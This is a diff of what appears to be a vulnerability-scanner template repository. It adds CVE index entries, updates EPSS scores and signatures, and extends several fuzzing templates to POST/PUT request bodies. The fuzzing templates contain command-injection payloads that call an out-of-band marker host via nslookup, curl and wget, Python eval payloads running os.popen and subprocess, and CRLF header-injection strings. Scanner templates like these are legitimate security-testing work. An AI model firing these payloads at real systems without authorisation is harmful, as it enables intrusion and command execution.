{"ID":"CVE-2020-35359","Info":{"Name":"Pure-FTPd 1.0.48 - Denial of Service","Severity":"high","Description":"Pure-FTPd 1.0.48 is vulnerable to Denial of Service via exhaustion of connections due to lack of proper connection limits.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2020/CVE-2020-35359.yaml"}
{"ID":"CVE-2020-9274","Info":{"Name":"Pure-FTPd ≤ 1.0.49 - DoS via Uninitialized Pointer","Severity":"high","Description":"Pure-FTPd versions ≤ 1.0.49 (\u003e= ~0.96) contain a vulnerability in the init_aliases() function within diraliases.c when processing aliases. This leads to access of an uninitialized pointer, which can cause a denial of service (DoS) condition.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2020/CVE-2020-9274.yaml"}
{"ID":"CVE-2020-9365","Info":{"Name":"Pure-FTPd 1.0.24 - Security Vulnerability","Severity":"medium","Description":"Pure-FTPd 1.0.24 contains security vulnerabilities that could allow attackers to exploit the FTP server. This version is known to have various security issues that could lead to unauthorized access or other security implications.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"network/cves/2020/CVE-2020-9365.yaml"}
{"ID":"CVE-2021-27877","Info":{"Name":"Veritas Backup Exec - Broken Authentication","Severity":"high","Description":"An issue was discovered in Veritas Backup Exec before 21.2. It supports multiple authentication schemes- SHA authentication is one of these. This authentication scheme is no longer used in current versions of the product, but hadn't yet been disabled. An attacker could remotely exploit this scheme to gain unauthorized access to an Agent and execute privileged commands.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"network/cves/2021/CVE-2021-27877.yaml"}
{"ID":"CVE-2021-30047","Info":{"Name":"vsftpd \u003c 3.0.3 - DoS","Severity":"high","Description":"vsftpd before 3.0.3 allows remote attackers to cause a denial of service by sending a crafted FTP command.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2021/CVE-2021-30047.yaml"}
{"ID":"CVE-2021-3122","Info":{"Name":"NCR Command Center Agent 16.3 - Remote Command Execution","Severity":"critical","Description":"CMCAgent in NCR Command Center Agent 16.3 on Aloha POS/BOH servers permits the submission of a runCommand parameter (within an XML document sent to port 8089) that enables the remote, unauthenticated execution of an arbitrary command as SYSTEM, as exploited in the wild in 2020 and/or 2021. NOTE: the vendor's position is that exploitation occurs only on devices with a certain \"misconfiguration.\"\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2021/CVE-2021-3122.yaml"}
{"ID":"CVE-2021-40524","Info":{"Name":"Pure-FTPd 1.0.23 \u003c 1.0.50 - Arbitrary File Upload","Severity":"high","Description":"Pure-FTPd versions 1.0.23 through 1.0.49 contain an arbitrary file upload vulnerability due to max_filesize quota issue, allowing large or unbounded file uploads that can cause server hang or resource exhaustion.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2021/CVE-2021-40524.yaml"}
@@ -4152,6 +4204,7 @@
{"ID":"CVE-2022-31793","Info":{"Name":"muhttpd \u003c=1.1.5 - Local Inclusion","Severity":"high","Description":"muhttpd 1.1.5 and before are vulnerable to unauthenticated local file inclusion. The vulnerability allows retrieval of files from the file system.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2022/CVE-2022-31793.yaml"}
{"ID":"CVE-2023-22629","Info":{"Name":"TitanFTP move-file Function ≤ 1.94.1205 - Path Traversal","Severity":"high","Description":"TitanFTP versions up to 1.94.1205 contain a path traversal vulnerability in the move-file function where the newPath parameter is improperly validated. An authenticated user can upload a file and then move it to any location on the server filesystem, potentially allowing arbitrary file placement and system compromise.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"network/cves/2023/CVE-2023-22629.yaml"}
{"ID":"CVE-2023-33246","Info":{"Name":"RocketMQ \u003c= 5.1.0 - Remote Code Execution","Severity":"critical","Description":"For RocketMQ versions 5.1.0 and below, under certain conditions, there is a risk of remote command execution. Several components of RocketMQ, including NameServer, Broker, and Controller, are leaked on the extranet and lack permission verification, an attacker can exploit this vulnerability by using the update configuration function to execute commands as the system users that RocketMQ is running as. Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content. To prevent these attacks, users are recommended to upgrade to version 5.1.1 or above for using RocketMQ 5.x or 4.9.6 or above for using RocketMQ 4.x .\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2023/CVE-2023-33246.yaml"}
{"ID":"CVE-2023-34992","Info":{"Name":"Fortinet FortiSIEM - Unauthenticated Command Injection","Severity":"critical","Description":"An improper neutralization of special elements used in an os command ('os command injection') in Fortinet FortiSIEM versions 7.1.0 through 7.1.1, 7.0.0 through 7.0.2, 6.7.0 through 6.7.8, 6.6.0 through 6.6.3, 6.5.0 through 6.5.2, and 6.4.0 through 6.4.3 allows an unauthenticated attacker to execute unauthorized code or commands via crafted API requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2023/CVE-2023-34992.yaml"}
{"ID":"CVE-2023-37582","Info":{"Name":"Apache RocketMQ - Remote Command Execution","Severity":"critical","Description":"The RocketMQ NameServer component still has a remote command execution vulnerability as the CVE-2023-33246 issue was not completely fixed in version 5.1.1. When NameServer address are leaked on the extranet and lack permission verification, an attacker can exploit this vulnerability by using the update configuration function on the NameServer component to execute commands as the system users that RocketMQ is running as. It is recommended for users to upgrade their NameServer version to 5.1.2 or above for RocketMQ 5.x or 4.9.7 or above for RocketMQ 4.x to prevent these attacks.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2023/CVE-2023-37582.yaml"}
{"ID":"CVE-2023-48788","Info":{"Name":"Fortinet Forticlient Endpoint Management Server - SQL Injection","Severity":"critical","Description":"A improper neutralization of special elements used in an sql command ('sql injection') in Fortinet FortiClientEMS version 7.2.0 through 7.2.2, FortiClientEMS 7.0.1 through 7.0.10 allows attacker to execute unauthorized code or commands via specially crafted packets.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2023/CVE-2023-48788.yaml"}
{"ID":"CVE-2023-51713","Info":{"Name":"ProFTPD \u003c 1.3.8a - DoS via Out-of-Bounds Read","Severity":"high","Description":"ProFTPD versions before 1.3.8a contain a one-byte out-of-bounds read vulnerability in the make_ftp_cmd function within main.c. This vulnerability can lead to a daemon crash, causing denial of service.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2023/CVE-2023-51713.yaml"}
@@ -4173,6 +4226,7 @@
{"ID":"CVE-2020-2883","Info":{"Name":"Oracle WebLogic Server - Remote Code Execution","Severity":"critical","Description":"Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0 and 12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via IIOP, T3 to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.0 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n","Classification":{"CVSSScore":"9.8"}},"file_path":"javascript/cves/2020/CVE-2020-2883.yaml"}
{"ID":"CVE-2020-4429","Info":{"Name":"IBM Data Risk Manager - Hardcoded Credentials","Severity":"critical","Description":"IBM Data Risk Manager 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.0.5, and 2.0.6 contains a default password for an IDRM administrative account. A remote attacker could exploit this vulnerability to login and execute arbitrary code on the system with root privileges. IBM X-Force ID- 180534.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"javascript/cves/2020/CVE-2020-4429.yaml"}
{"ID":"CVE-2020-7247","Info":{"Name":"OpenSMTPD 6.4.0-6.6.1 - Remote Code Execution","Severity":"critical","Description":"OpenSMTPD versions 6.4.0 - 6.6.1 are susceptible to remote code execution. smtp_mailaddr in smtp_session.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and other products, allows remote attackers to execute arbitrary commands as root via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL FROM field. This affects the \"uncommented\" default configuration. The issue exists because of an incorrect return value upon failure of input validation.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"javascript/cves/2020/CVE-2020-7247.yaml"}
{"ID":"CVE-2021-27877","Info":{"Name":"Veritas Backup Exec - Broken Authentication","Severity":"high","Description":"An issue was discovered in Veritas Backup Exec before 21.2. It supports multiple authentication schemes- SHA authentication is one of these. This authentication scheme is no longer used in current versions of the product, but hadn't yet been disabled. An attacker could remotely exploit this scheme to gain unauthorized access to an Agent and execute privileged commands.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"javascript/cves/2021/CVE-2021-27877.yaml"}
{"ID":"CVE-2021-35211","Info":{"Name":"SolarWinds Serv-U FTP - Remote Code Execution","Severity":"critical","Description":"SolarWinds Serv-U Managed File Transfer and Serv-U Secure FTP for Windows before 15.2.3 HF2 contain a remote memory escape caused remote code execution vulnerability, letting attackers gain privileged access, exploit requires remote attacker to send crafted memory operations.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2021/CVE-2021-35211.yaml"}
{"ID":"CVE-2021-35394","Info":{"Name":"RealTek AP Router SDK - Arbitrary Command Injection","Severity":"critical","Description":"The SDK exposes a UDP server that allows remote execution of arbitray commands.","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2021/CVE-2021-35394.yaml"}
{"ID":"CVE-2021-36754","Info":{"Name":"PowerDNS Authoritative Server - Denial of Service","Severity":"high","Description":"PowerDNS Authoritative Server 4.5.0 before 4.5.1 allows anybody to crash the process by sending a specific query (QTYPE 65535) that causes an out-of-bounds exception.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"javascript/cves/2021/CVE-2021-36754.yaml"}
@@ -4186,15 +4240,18 @@
{"ID":"CVE-2024-47176","Info":{"Name":"CUPS - Remote Code Execution","Severity":"high","Description":"CUPS is a standards-based, open-source printing system, and cups-browsed contains network printing functionality including, but not limited to, auto-discovering print services and shared printers. cups-browsed binds to INADDR_ANY-631, causing it to trust any packet from any source, and can cause the Get-Printer-Attributes IPP request to an attacker controlled URL.\nDue to the service binding to *-631 ( INADDR_ANY ), multiple bugs in cups-browsed can be exploited in sequence to introduce a malicious printer to the system. This chain of exploits ultimately enables an attacker to execute arbitrary commands remotely on the target machine without authentication when a print job is started. This poses a significant security risk over the network. Notably, this vulnerability is particularly concerning as it can be exploited from the public internet, potentially exposing a vast number of systems to remote attacks if their CUPS services are enabled.\n","Classification":{"CVSSScore":"8.3"}},"file_path":"javascript/cves/2024/CVE-2024-47176.yaml"}
{"ID":"CVE-2025-12101","Info":{"Name":"Citrix NetScaler ADC \u0026 Gateway - Reflected XSS / Open Redirect","Severity":"medium","Description":"Cross-Site Scripting (XSS) in NetScaler ADC and NetScaler Gateway when the appliance is configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2025/CVE-2025-12101.yaml"}
{"ID":"CVE-2025-14847","Info":{"Name":"MongoDB Server - Information Disclosure (MongoBleed)","Severity":"high","Description":"MongoDB Server contained a flaw in the zlib decompression logic where\nmismatched length fields in compressed protocol headers allowed a read\nof uninitialized heap memory by an unauthenticated client.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"javascript/cves/2025/CVE-2025-14847.yaml"}
{"ID":"CVE-2025-29635","Info":{"Name":"D-Link DIR-823X set_prohibiting - Command Injection","Severity":"high","Description":"D-Link DIR-823X 240126 and 240802 contain a command injection caused by sending a POST request to /goform/set_prohibiting, letting an authorized attacker execute arbitrary commands remotely, exploit requires attacker to be authorized.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"javascript/cves/2025/CVE-2025-29635.yaml"}
{"ID":"CVE-2025-46817","Info":{"Name":"Redis \u003c 8.2.1 lua script - Integer Overflow","Severity":"critical","Description":"Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user to use a specially crafted Lua script to cause an integer overflow and potentially lead to remote code execution The problem exists in all versions of Redis with Lua scripting. This issue is fixed in version 8.2.2.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2025/CVE-2025-46817.yaml"}
{"ID":"CVE-2025-46818","Info":{"Name":"Redis Lua Sandbox \u003c 8.2.2 - Cross-User Escape","Severity":"high","Description":"Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user to use a specially crafted Lua script to manipulate different LUA objects and potentially run their own code in the context of another user. The problem exists in all versions of Redis with LUA scripting. This issue is fixed in version 8.2.2. A workaround to mitigate the problem without patching the redis-server executable is to prevent users from executing LUA scripts. This can be done using ACL to block a script by restricting both the EVAL and FUNCTION command families.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2025/CVE-2025-46818.yaml"}
{"ID":"CVE-2025-46819","Info":{"Name":"Redis \u003c 8.2.1 Lua Long-String Delimiter - Out-of-Bounds Read","Severity":"high","Description":"Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user to use a specially crafted LUA script to read out-of-bound data or crash the server and subsequent denial of service. The problem exists in all versions of Redis with Lua scripting. This issue is fixed in version 8.2.2. To workaround this issue without patching the redis-server executable is to prevent users from executing Lua scripts. This can be done using ACL to block a script by restricting both the EVAL and FUNCTION command families.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2025/CVE-2025-46819.yaml"}
{"ID":"CVE-2025-49844","Info":{"Name":"Redis Lua Parser \u003c 8.2.2 - Use After Free","Severity":"critical","Description":"Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user to use a specially crafted Lua script to manipulate the garbage collector, trigger a use-after-free and potentially lead to remote code execution. The problem exists in all versions of Redis with Lua scripting. This issue is fixed in version 8.2.2. To workaround this issue without patching the redis-server executable is to prevent users from executing Lua scripts. This can be done using ACL to restrict EVAL and EVALSHA commands.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2025/CVE-2025-49844.yaml"}
{"ID":"CVE-2026-0257","Info":{"Name":"Palo Alto Networks PAN-OS - Authentication Bypass","Severity":"critical","Description":"Palo Alto Networks PAN-OS contains an authentication bypass caused by flaws in the GlobalProtect portal and gateway, letting attackers establish unauthorized VPN connections, exploit requires network access to the portal or gateway.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"javascript/cves/2026/CVE-2026-0257.yaml"}
{"ID":"CVE-2026-15409","Info":{"Name":"SonicWall SMA1000 - Server-Side Request Forgery","Severity":"critical","Description":"SMA1000 Appliance Work Place interface contains a server side request forgery caused by improper request validation, letting remote unauthenticated attackers make requests to unintended locations, exploit requires no special privileges.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"javascript/cves/2026/CVE-2026-15409.yaml"}
{"ID":"CVE-2026-16232","Info":{"Name":"Check Point Security Management Server - SmartConsole Authentication Bypass","Severity":"critical","Description":"An authentication bypass vulnerability in the Check Point SmartConsole login process allows an unauthenticated remote attacker to obtain an application login token and use it to authenticate with full administrative privileges. Successful exploitation allows the attacker to modify security policies and security configurations. Remote exploitation requires internet access to the Management Server IP address and a configuration that does not restrict Trusted Clients. Check Point is aware that this vulnerability is being exploited and has affected a very small number of customers.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"javascript/cves/2026/CVE-2026-16232.yaml"}
{"ID":"CVE-2026-1731","Info":{"Name":"BeyondTrust Remote Support - Unauthenticated WebSocket RCE","Severity":"critical","Description":"BeyondTrust Remote Support is vulnerable to unauthenticated remote code execution via the WebSocket endpoint /nw. An attacker can extract the company identifier from the /get_mech_list endpoint and use it to connect to the WebSocket service, then inject OS commands through the binary WebSocket payload that are executed on the server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2026/CVE-2026-1731.yaml"}
{"ID":"CVE-2026-33453","Info":{"Name":"Apache Camel camel-coap - Remote Code Execution","Severity":"critical","Description":"Apache Camel camel-coap component 4.14.0-4.14.5, 4.18.0 before 4.18.1, and 4.19.0 contains a remote code execution caused by improper header filtering of CoAP URI query parameters, letting unauthenticated attackers inject headers and execute arbitrary OS commands via header-sensitive producers, exploit requires sending a single CoAP UDP packet.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"javascript/cves/2026/CVE-2026-33453.yaml"}
{"ID":"CVE-2026-39363","Info":{"Name":"Vite Dev Server - Arbitrary File Read","Severity":"high","Description":"Vite dev server exposes the fetchModule method via its WebSocket HMR (Hot Module Replacement) endpoint using the vite-hmr sub-protocol. By connecting to the WebSocket endpoint and sending a crafted vite:invoke custom event that calls fetchModule with a file:// URL (e.g., file:///etc/passwd?raw), an attacker can bypass server.fs.deny restrictions and read arbitrary files from the server filesystem. The vulnerability exists because fetchModule does not enforce the same filesystem access controls as other Vite server endpoints.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"javascript/cves/2026/CVE-2026-39363.yaml"}
{"ID":"CVE-2026-39987","Info":{"Name":"Marimo \u003c= 0.20.4 - Pre-Auth Terminal WebSocket RCE","Severity":"critical","Description":"Marimo versions \u003c= 0.20.4 contain an unauthenticated remote code execution vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to connect via WebSocket, obtain a full PTY shell, and execute arbitrary OS commands on the underlying server.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"javascript/cves/2026/CVE-2026-39987.yaml"}
{"ID":"CVE-2026-44578","Info":{"Name":"Next.js WebSocket Upgrade Handler - SSRF","Severity":"high","Description":"Next.js 13.4.13 to before 15.5.16 and 16.2.5 contains a server-side request forgery caused by crafted WebSocket upgrade requests in the built-in Node.js server, letting attackers proxy requests to arbitrary destinations, exploit requires self-hosted deployment.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"javascript/cves/2026/CVE-2026-44578.yaml"}
{"ID":"CVE-2026-4480","Info":{"Name":"Samba Printing Subsystem - Remote Code Execution","Severity":"critical","Description":"A flaw was found in the Samba printing subsystem. Samba passes the client-controlled job description string to the command configured with the \"print command\" setting via the \"%J\" substitution character without escaping shell meta characters. A remote attacker could exploit this vulnerability by sending a specially crafted print job description that contains unescaped shell characters. This could lead to remote code execution on the affected system.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"javascript/cves/2026/CVE-2026-4480.yaml"}
{"ID":"CVE-2026-48908","Info":{"Name":"Joomla SP Page Builder \u003c= 6.6.1 - Unauthenticated Arbitrary File Upload RCE","Severity":"critical","Description":"SP Page Builder for Joomla contains an unrestricted file upload vulnerability allowing unauthenticated users to upload and execute arbitrary PHP code, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"javascript/cves/2026/CVE-2026-48908.yaml"}
{"ID":"CVE-2026-48909","Info":{"Name":"Joomla SP LMS \u003c= 4.1.3 - Remote Code Execution","Severity":"critical","Description":"SP LMS (com_splms) \u003c 4.1.4 by JoomShaper deserializes user-controlled cookie data without validation, enabling an unauthenticated remote attacker to execute arbitrary code on the server.\n","Classification":{"CVSSScore":"9.5"}},"file_path":"javascript/cves/2026/CVE-2026-48909.yaml"}
+1 -1
View File
@@ -1 +1 @@
f41fb6aca06836485c29dcab0865f337
adbf9a031e37191a697bfbba0f52b13b
+2 -2
View File
@@ -21,7 +21,7 @@ info:
cve-id: CVE-2018-19518
cwe-id: CWE-88
epss-score: 0.9523
epss-percentile: 0.99855
epss-percentile: 0.99857
metadata:
max-request: 1
confidence: tenative
@@ -53,4 +53,4 @@ http:
part: interactsh_request
words:
- "User-Agent: curl"
# digest: 4a0a00473045022100d86e59a5a04ceb71e390ab7ecf4c585e967313ce0f42e028b272c05bf0fc74520220735e80e46260f014f03d7a0799e7dc4a7a11d60f5f2ca4f1235e1dfa8b9d455f:922c64590222798bb761d5b6d8e72950
# digest: 490a004630440220376d3bf24ce24e27bfdd9b09b72b88555de5c369039402335dc12f2592d1f6d202203db7f866406d7e85d4c0e385b7c8e9978864afd1348cb7a903c9d55630525bfa:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -22,7 +22,7 @@ info:
cve-id: CVE-2020-9402
cwe-id: CWE-89
epss-score: 0.22513
epss-percentile: 0.97426
epss-percentile: 0.97472
cpe: cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*
metadata:
vendor: djangoproject
@@ -54,4 +54,4 @@ http:
- "ORA-06512:"
- "Request Method:"
condition: and
# digest: 4b0a00483046022100caef44b2bae34bcce37ebeb77449f1b27ed74c5eacd107b4b28ac8ed5881bb700221009c4fd705cc2013bbce0ed193812e36132de56f6f0f58334fcec15e90686b66db:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402203ceb4e8bbf95d54bc94806d645d42558317a4898a072da56c7acaa57486527bf0220351a16669d0e0ce7a20383f538780d1b088820d56152c55e367e2d49933e5534:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -20,7 +20,7 @@ info:
cve-id: CVE-2021-35042
cwe-id: CWE-89
epss-score: 0.44369
epss-percentile: 0.98609
epss-percentile: 0.98636
metadata:
verified: true
fofa-query: body="ProgrammingError" && body="ORDER BY"
@@ -66,4 +66,4 @@ http:
- 'FROM\s+`([a-zA-Z_][a-zA-Z0-9_]*)`'
- 'relation\s+([a-zA-Z_][a-zA-Z0-9_]*)'
- "Table\\s+'[^']*\\.([a-zA-Z_][a-zA-Z0-9_]*)'"
# digest: 490a0046304402204705d74ad6dcf0f5a9bb1ebf85e259abc97cfc30f3736c4e2799799501b510dd022076e17848bfaadabb2fa7e887138324f19c90a713231b5fc9ee5b6060b394abdf:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402206eb6aed248af23f6641245b9b81cafb3defb8a0e28166b8905f97d236e12c2680220721fbf4bdaca53449b4c7aca5e6e2b6aae58fab627066762af0b955260d3f058:922c64590222798bb761d5b6d8e72950
@@ -66,4 +66,4 @@ http:
group: 1
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
# digest: 4a0a0047304502201b3762cd94d7077d3e322fe61c1045a80e07c1d111cc71a6075fc9ba1f184595022100dc2be6f8ae39f6801a84e41f77c752fa19f3a3fb1a10e9c1a7badada488b2474:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100e5093be4912d483c919c23546a1875047d25ff08c5cf73dbdc5eb35d714d83c102203bbac94cc7ce10058b6b58896d653b563bf41d4c84e79451034e980d75b1513b:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -22,7 +22,7 @@ info:
cve-id: CVE-2022-22965
cwe-id: CWE-94
epss-score: 0.99677
epss-percentile: 0.99948
epss-percentile: 0.99949
cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
metadata:
max-request: 1
@@ -59,4 +59,4 @@ http:
words:
- "User-Agent: Java"
case-insensitive: true
# digest: 4a0a0047304502201c63e812eeb0bcbeb9c858a41f50b8c73f41e06e7c42e98090d6c0835c2230bc02210098925684d40a4ce4ad2f6cdf80e29bf6d10205a063226defc65524e5b399904f:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402204472f055a772f2753731e7fbfa0e48d63e4f25f7a5245686d76af7d776100008022050d4c533c10241c048c5eff5d34c0fc74ddaa2c439eaa6e383c9bc59571b2154:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -21,7 +21,7 @@ info:
cve-id: CVE-2022-34265
cwe-id: CWE-89
epss-score: 0.73274
epss-percentile: 0.99392
epss-percentile: 0.99404
tags: sqli,dast,vulhub,cve,cve2022,django,vuln
variables:
@@ -50,4 +50,4 @@ http:
- type: status
status:
- 500
# digest: 4a0a00473045022001b30a141ee254aaa0acb94b35d33ee77adf4ee135a209ce5975b7aafff87e9a022100f1eac2430af11fc8d61bbd426155540f71ff9f49037d6b881ee7989301fa2ea3:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450220664369e9e1d63867f800133980f1fbe4e3f5d5d6347f0e2240332d13fe8f8dde022100ba09847c71bc21ece980aa68762d728edf60a0db39714229fb3f06b6ce8aa4d1:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -19,7 +19,7 @@ info:
cve-id: CVE-2024-2961
cwe-id: CWE-787
epss-score: 0.8833
epss-percentile: 0.99752
epss-percentile: 0.99755
tags: cve,cve2024,php,iconv,glibc,lfr,rce,dast,vkev,vuln
flow: http(1) && http(2)
@@ -57,4 +57,4 @@ http:
- type: regex
regex:
- "root:x:0:0"
# digest: 4a0a004730450221008529646911e2aa9a9839746fad41ccbb4d173feb699adac86508097e50175ac302202fba7504078148bd0b1f297bafbfcd156a23065edbf63dd892560c4c986a43e1:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450221008e0f601322afb49a02b0d19dda891b0272eb04a89055a913b46c7d4101370245022077b4e451dc76f114b53af56d48ec64d18ed4da36975c199e0dbbae3cd9e52161:922c64590222798bb761d5b6d8e72950
@@ -22,7 +22,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
payload:
- "&nslookup {{marker}}&'\\\"`0&nslookup {{marker}}&`'"
@@ -31,7 +32,9 @@ http:
- "$(ping -c 1 {{marker}} | nslookup {{marker}} ; wget {{marker}} -O /dev/null)"
fuzzing:
- part: query
- parts:
- query
- body
type: postfix
fuzz:
- "{{payload}}"
@@ -47,4 +50,4 @@ http:
part: interactsh_protocol
words:
- "http"
# digest: 4a0a0047304502206a444a9acece7bd019548b1e08201a3550774099ab082c9b85ac7cf6d282a49e022100c15790c0d52b54c520db587da6e7aa8f3c21c0008bfc189ca3f51e11557b73e8:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100ffa659b189fa15afd2deb641d4d7b3ad6fc998004693b214687229e64c044014022100a35d3b3c7ca81690c0c05e027ef0b95752a80e42a98e5902bb995e10d39e35b7:922c64590222798bb761d5b6d8e72950
@@ -14,7 +14,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
injection:
- eval(compile("""for x in range(1):\\n import os\\n os.popen(r'{{Command}}').read()""",'','single'))
@@ -35,7 +36,9 @@ http:
- eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'{{Command}}',shell=True)""",'','single'))
fuzzing:
- part: query
- parts:
- query
- body
type: replace
fuzz:
- "{{injection}}"
@@ -46,4 +49,4 @@ http:
part: body
regex:
- 'root:.*:0:0:'
# digest: 4b0a00483046022100d20dead9d43184682b9162961ee82df8d0c89d9dcb2b219668c1f607b37c6a6f022100cddb28a5648ce05e0666ef2b25997ab11ea7c2dde5d78d7bb8245fb67e73ec39:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100cd9bba97f258c066f8503c51a37f32763c0c776da2023179cb9665d4e6c397d3022100b04ff58ead57ba70bb1b64bab48d1a4f591f5515215631baeecbbe96e621cf15:922c64590222798bb761d5b6d8e72950
+6 -3
View File
@@ -21,14 +21,17 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
stop-at-first-match: true
payloads:
interaction:
- "|nslookup {{marker}}|curl {{marker}}"
fuzzing:
- part: query
- parts:
- query
- body
fuzz:
- "{{interaction}}"
@@ -37,4 +40,4 @@ http:
part: interactsh_protocol
words:
- "dns"
# digest: 4b0a00483046022100d92df5db8aad5337f3bfd5b6b74ac56650ed4b46a01670f2cc17edfc482eebf70221008653513ecb252e26cbc2c9a2b34a6a150f3017f6eaff6568a00626ac7a8c64f4:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100e0426452b9d9cfa0ff0ba648b26c60b3fbcc93a25174f502334d9693ddb5b41b0221008c11d287b5f6fc884922738abbf813b43201b6aede175b32f502fd4d2bd73419:922c64590222798bb761d5b6d8e72950
@@ -19,13 +19,16 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
reflection:
- "{{first}}"
fuzzing:
- part: query
- parts:
- query
- body
type: postfix
fuzz:
- "{{reflection}}"
@@ -35,4 +38,4 @@ http:
part: header
regex:
- '(?m)(?i)(^set-cookie.*cookie_injection.*)'
# digest: 4a0a00473045022012d1757b00fc5a6f9ee4c883ae5413e0bd3973591b56ba0a5e79bc72b76f47cb022100c3719ad78ef3de245f1263e87dc46c710215231d1b04abed19543b0c6c520ed1:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100fcc832957048d66c083e01674bdb650b1f6aac2fe924de9a40f4175d15e9fcea022003ecffde416eccf471ecabcc2fb366f2280987da6a74bc0b23ef5abdd6829ae9:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
escape:
low:
@@ -62,7 +63,9 @@ http:
- "\r\t"
fuzzing:
- part: query
- parts:
- query
- body
type: postfix
fuzz:
- "{{escape}}Set-Cookie:crlfinjection=crlfinjection"
@@ -73,4 +76,4 @@ http:
part: header
regex:
- '(?m)^(?:Set-Cookie\s*?:(?:\s*?|.*?;\s*?))(crlfinjection=crlfinjection)(?:\s*?)(?:$|;)'
# digest: 4a0a00473045022015c1830b995bcda913cc28864b15263881395c09ffeeb5dd5dad17d8f41378fd022100f157c7577fbeb68be85c3343f2c4ee02312f6e8fd577e55699f645a6a9fbd955:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100bca778c35d5fc61dd71c6454594f25f309d049b5681c7bfdcfa41ab4eeed600a022100d2ee23bf8dc026de3b52c0427f4ca3c4ee3ed9ba15cec1f43f81de2833807e3a:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
